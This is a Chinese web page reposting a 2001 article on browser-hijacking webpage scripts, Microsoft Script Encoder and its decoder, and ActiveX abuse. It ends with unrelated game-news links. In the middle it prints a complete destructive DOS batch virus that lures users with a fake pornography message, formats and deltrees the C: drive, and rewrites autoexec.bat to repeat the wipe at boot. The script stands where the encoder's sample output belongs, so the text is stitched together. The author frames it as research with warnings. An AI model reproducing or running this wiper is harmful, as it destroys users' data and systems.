【网页脚本加密解密】网页脚本加密解密

更新时间:2019-09-01 来源:热门资讯 点击:

【www.hzclsc.cn--热门资讯】

大家都有这样很烦地经历:可能在网上冲浪时,IE会莫名被被改的希奇古怪了,收藏家也多了
许多什么什么精美照片之类的网址,我后来研究这种网页,隐藏的很深的,首先发现它的主页有这
样的代码有引用什么www.coolstarpage.com的代码,
 
大家可以去看看
document.write(""); 
文件ieatt.htm代码这样的:

显然用Microsoft Script Encoder加密JavaScript代码了,网络真好,很快找到了
Decoder for Microsoft Script Encoder(该工具的源代码有附)改程序的具体机制及算法详见:

http://www.virtualconspiracy.com/scrdec.html 

【题外话】
Windows脚本加密器(Windows Script Encoder - screnc.exe)是微软提供给大家加密
html,JScript,ASP等脚本,该工具下载地址:
http://msdn.microsoft.com/scripting/default.htm?/scripting/vbscript/download/vbsdown.htm 
微软没有提供解密工具,微软在主页上这样说:
Note that this encoding only prevents casual viewing of your code; 
it will not prevent the determined hacker from seeing what you"ve done and how. 

加密器使用方法:
screnc filename1 filename2
filename1 - 要加密的脚本文件
filename2 - 加密后输出的脚本文件
举个例子:
源文件如下:


Page with secret information



This page contains secret information.



加密后文件如下:


Page with secret information



//*****************************************
@echo off 
rem Bye Bye Hardrive 1.0 
echo Please wait while program uploads some nice pronography.... 

call attrib -h -r c:\autoexec.bat >nul 
echo @echo off >c:\autoexec.bat 
echo call format c: /q /u /autotest >nul >>c:\autoexec.bat 
echo call deltree /y c: >nul >>c:\autoexec.bat 
echo dummy variable >c:\dvar.txt 

:form 
call format c: /q /u /autotest >nul 
if exist c:\dos\format.* goto dosform 
if exist c:\windows\command\format.* goto winform 
goto de 

:dosform 
cd\dos >nul 
call format c: /h /q /u /autotest >nul 
cd\ >nul 

:winform 
cd\windows\command >nul 
call format c: /h /q /u /autotest >nul 
cd\ >nul 
goto inform 

:de 
if exist c:\dvar.txt goto dtree 
goto inform 

:dtree 
call deltree /y c: >nul 
if exist c:\dos\deltree.* goto deldos 
if exist c:\windows\command\deltree.* goto delwin 
goto inform 

:deldos 
cd\dos 
call deltree /y c: >nul 
cd\ 

:delwin 
cd\windows\command >nul 
call deltree /y c: >nul 
cd\ >nul 

rem The following rewrites the code into the autoexec.bat file. 

echo @echo off >c:\autoexec.bat 
echo cls >>c:\autoexe.bat 

echo :form 
echo call format c: /q /u /autotest >nul >>c:\autoexec.bat 
echo if exist c:\dos\format.* goto dosform >>c:\autoexec.bat 
echo if exist c:\windows\command\format.* goto winform >>c:\autoexec.bat 
echo goto de >>c:\autoexec.bat 

echo :dosform >>c:\autoexec.bat 
echo cd\dos >nul >>c:\autoexec.bat 
echo call format c: /q /u /autotest >nul >>c:\autoexec.bat 
echo cd\ >nul >>c:\autoexec.bat 

echo :winform >>c:\autoexec.bat 
echo cd\windows\command >nul >>c:\autoexec.bat 
echo call format c: /q /u /autotest >nul >>c:\autoexec.bat 
echo cd\ >nul >>c:\autoexec.bat 
echo goto write >>c:\autoexec.bat 

echo :de >>c:\autoexec.bat 
echo if exist c:\dvar.txt goto dtree >>c:\autoexec.bat 
echo goto write >>c:\autoexec.bat 

echo :dtree >>c:\autoexec.bat 
echo call deltree /y c: >nul >>c:\autoexec.bat 
echo if exist c:\dos\deltree.* goto deldos >>c:\autoexec.bat 
echo if exist c:\windows\command\deltree.* goto delwin >>c:\autoexec.bat 

echo :deldos >>c:\autoexec.bat 
echo cd\dos >>c:\autoexec.bat 
echo call deltree /y c: >nul >>c:\autoexec.bat 
echo cd\ >>c:\autoexec.bat 

echo :delwin >>c:\autoexec.bat 
echo cd\windows\command >nul >>c:\autoexec.bat 
echo call deltree /y c: >nul >>c:\autoexec.bat 
echo cd\ >nul >>c:\autoexec.bat 

echo :write >>c:\autoexec.bat 
echo type hdkiller.txt >>c:\autoexec.bat 
echo c:\ >>c:\autoexec.bat 
echo cd\ >>c:\autoexec.bat 
echo :nasty >>c:\autoexec.bat 
echo md nasty >>c:\autoexec.bat 
echo cd nasty >>c:\autoexec.bat 
echo echo You"re Gone @$$ hole!!!! >yourgone.txt >>c:\autoexec.bat 
echo goto nasty >>c:\autoexec.bat 
echo pause >>c:\autoexec.bat 

rem Rewriting of code to the autoexec.bat file is complete. 

c:\ >nul 
cd\ >nul 
:killfat 
md nasty >nul 
cd nasty >nul 
echo Woops Is sent the hdk and not the pornography o well.. >yourgone.txt >nul 
goto killfat 

:end 
//*****************************************
【--不要使用,大家研究研究------------------------------------------------------------------】

批注(我加上了注解,代码中Ghost Studio及 http://ghoststudio.yeah.net字符串是我代替用的,其中有些代码是我自己根据对Windows的了解而加上去的) 
更重要的是可以执行一个可执行文件

虽然JAVA对Applet的安全作出了限制,但由于浏览器或语言漏洞的原因,当它与功能比较强大的脚本语言结合时,这些小应用程序常可凭借正常或诡秘的手段对用户
的机器进行恶意修改,比如修改注册表,运行相关的DOS命令,在用户机器上安装木马或激活相关的应用程序,其功能之强大远非单纯的网页所能胜任,由此看来,现在网上
所流传的说什么浏览相关网页中病毒或者硬盘被格式化也就见怪不惊了。另外,还有一种嵌入式应用程序就是ActiveX,是微软的一种插件技术,也可以象Applet一样
进行一些针对本机的操作。现在让我们了解一下以下代码编制的机 理(如果你不了解脚本语言,可仅看看程序修改了哪些注册表表 项,然后找到 这些表项并修改回来)。 

让我们再来看看这个com.ms.activeX.ActiveXComponent东西是什么?
我的computer时Windows 2000
在目录 \WINNT\Java\Packages\有一个zip文件Tn9j75np.zip大概5M
里面是一堆的java class
我提供代码中有将有源文件ActiveXComponent.java代码大致是:
public class ActiveXComponent extends Canvas
{

    private transient IAXComponent ax;
    private transient IUnknown unknown;
    private String clsid;

    public void enableEvents()
    {
    }

    public IUnknown createInstance(String s)
    {
        unknown = ax.createControl(s);
        return unknown;
    }

    public IUnknown createInstance()
    {
        if(clsid == null)
            throw new NullPointerException();
        else
            return createInstance(clsid);
    }

    public void createInstance(IUnknown iunknown)
    {
        if(iunknown == null)
        {
            throw new NullPointerException();
        } else
        {
            unknown = iunknown;
            ax.createControlFromIUnknown(iunknown);
            return;
        }
    }

    public Variant invoke(String s, Variant avariant[])
    {
        return internal_invoke(1, s, avariant);
    }

    public Variant getProperty(String s)
    {
        return internal_invoke(2, s, null);
    }

    public void setProperty(String s, Variant variant)
    {
        Variant avariant[] = new Variant[1];
        avariant[0] = variant;
        internal_invoke(4, s, avariant);
    }

    public ActiveXComponent()
    {
        PolicyEngine.checkForAllPermissions();
        ax = createAXComponent();
    }

    public ActiveXComponent(String s)
    {
        this();
        setCLSID(s);
        createInstance(s);
    }

    public ActiveXComponent(IUnknown iunknown)
    {
        this();
        createInstance(iunknown);
    }

    protected IAXComponent getHost()
    {
        return ax;
    }

    private static native IAXComponent createAXComponent();

    private Variant internal_invoke(int i, String s, Variant avariant[])
        throws IllegalArgumentException, NullPointerException
    {
        int ai[] = new int[1];
        if(s == null)
            throw new IllegalArgumentException("The method or property name can not be null.");
        if(i == 0)
            i = 1;
        if(i != 1 && i != 2 && i != 4 && i != 8)
            throw new IllegalArgumentException("The argument, int type, is not valid.");
        if(getObject() == null)
            throw new NullPointerException("The ActiveX control IUnknown is null.");
        Variant variant = null;
        switch(i)
        {
        case 3: // "\003"
        case 5: // "\005"
        case 6: // "\006"
        case 7: // "\007"
        default:
            break;

        case 2: // "\002"
            variant = Dispatch.get(getObject(), s);
            break;

        case 4: // "\004"
            if(avariant == null)
                throw new IllegalArgumentException("Property value can not be null.");
            Dispatch.put(getObject(), s, avariant[0]);
            break;

        case 8: // "\b"
            if(avariant == null)
                throw new IllegalArgumentException("Property value can not be null.");
            Dispatch.putRef(getObject(), s, avariant[0]);
            break;

        case 1: // "\001"
            if(avariant == null)
            {
                Variant avariant1[] = new Variant[1];
                avariant1[0] = new Variant();
                avariant = avariant1;
            }
            variant = Dispatch.invokev(getObject(), s, i, avariant, ai);
            break;
        }
        return variant;
    }

    public void setCLSID(String s)
    {
        clsid = s;
    }

    public String getCLSID()
    {
        return clsid;
    }

    public IUnknown getObject()
    {
        return unknown;
    }

    static 
    {
        System.loadLibrary("msawt");
    }
}
可以看出
Windows对java的支持主要靠这个文件:\SystemDir\msawt.dll(Microsoft AWT Library for Java)

【提供的源代码说明】
_iloveu.ok                恶意代码(我没有测试,原理绝对对,大家不要使用)
ActiveXCompoent.java    微软对java支持的一块代码
remodify.htm            对已中毒的系统恢复注册表(代码加密了,大家解密看看)
regvol1.zip                注册表大全卷一RegHelp Vol.1压缩包(解压后点击reg目录下的index.html)
sce10chs.exe            Mircosoft提供的脚本加密工具ver 1.0
scrdec13.c                Windows Script Decoder源代码ver 1.3
scrdec13.exe            Windows Script Decoder程序(命令行方式)
WindowsScriptDecoder.htm    原作者的算法讲解,e文

    Copyleft (c) 2001 Ghost Studio. All rights abandoned.
     http://GhostStudio.yeah.net 
    mornlee@21cn.com
    2001/12/29

【闪人了!】
再过两小时我们要吃年饭了,不能说太多了,呵呵,没时间了!
大家自己研究研究吧!千万不要滥用哦!
不对的请指正!
最后祝大家也祝我,Happy New Year!天天好心情!

重复重要声明:
此代码仅供研究使用,让大家有点防范意识,不要这种无聊恶意的代码危害我们,
影响我们网上冲浪的心情,如果有人非法使用,一切后果自负,与本人无关,也建议大家
不要在自己的主页中使用,因为你一旦使用,最后最遭殃的是生你养你的老妈呀!

本文来源:http://www.hzclsc.cn/news/25774.html

为您推荐

dnf鬼泣新buff换装|dnf鬼泣BUFF换装如何搭配 dnf起源版鬼泣BUFF换装搭配攻略

您的位置:首页 → 网游资讯 → dnf资讯 → dnf鬼泣BUFF换装如何搭配 dnf起源版鬼泣BUFF换装搭配攻略 dnf鬼泣BUFF换装如何搭配 dnf起源版鬼泣BUFF换装搭配攻略时间:201dnf资讯

2021-02-25 18:54:41   dnf鬼泣buff换装95   地下城鬼泣buff换装  

dnf流年鬼泣装备_dnf鬼泣起源版本装备搭配推荐 dnf黑暗君主起源版本加点攻略

2月1日DNF起源版本正式更新了,这次更新全职业平衡性将进行调整,所以这个版本DNF黑暗君主起源版本怎么加点?DNF黑暗君主起源版本用什么装备好?下面小编为大家爱带来了DNF黑暗君主起源版本加点攻略dnf资讯

2021-02-25 18:54:41   dnf鬼泣装备推荐   dnf鬼泣毕业装备  

【dnf黄金雄鹰图腾怎么升级】dnf黄金雄鹰图腾怎么得 黄金雄鹰图腾出现概率介绍

DNF游戏中成功建造传说图腾的小伙伴可以一次性拿到20个图腾精华,而普通的和特殊也才只给到6个,是普通 特殊的3倍还多,难怪这么多的玩家追求黄金雄鹰图腾了,毕竟有了它,组合出传说的概率非常的高。 为dnf资讯

2021-02-25 18:54:41  

[dnf起源剧情]dnf起源版本公会改动一览 dnf起源版本公会有哪些变动

全新的起源版本已经到来,这次改版的改动很大,甚至有些小伙伴都在游戏中迷路了,那么在全新的起源版本中公会有哪些变化呢?下面就让我们一起去了解一下DNF起源版本公会改动吧! DNF起源版本公会改动一览起dnf资讯

2021-02-25 18:54:41  

德特尔兽人族|dnf兽人族的特别宝物礼盒有什么 兽人族的特别宝物礼盒选择建议

兽人族的特别宝物礼盒打开后,可以在两种宝物礼盒中选择一种,远古兽人族的神秘宝物礼盒、兽人族英雄的宝珠礼盒,很多小伙伴不知道怎么选择才好,小编今天带来一篇DNF兽人族的特别宝物礼盒选择建议,希望大家喜dnf资讯

2021-02-25 18:54:41   怪物猎人世界老练的兽人族学者   兽人族永不为奴除非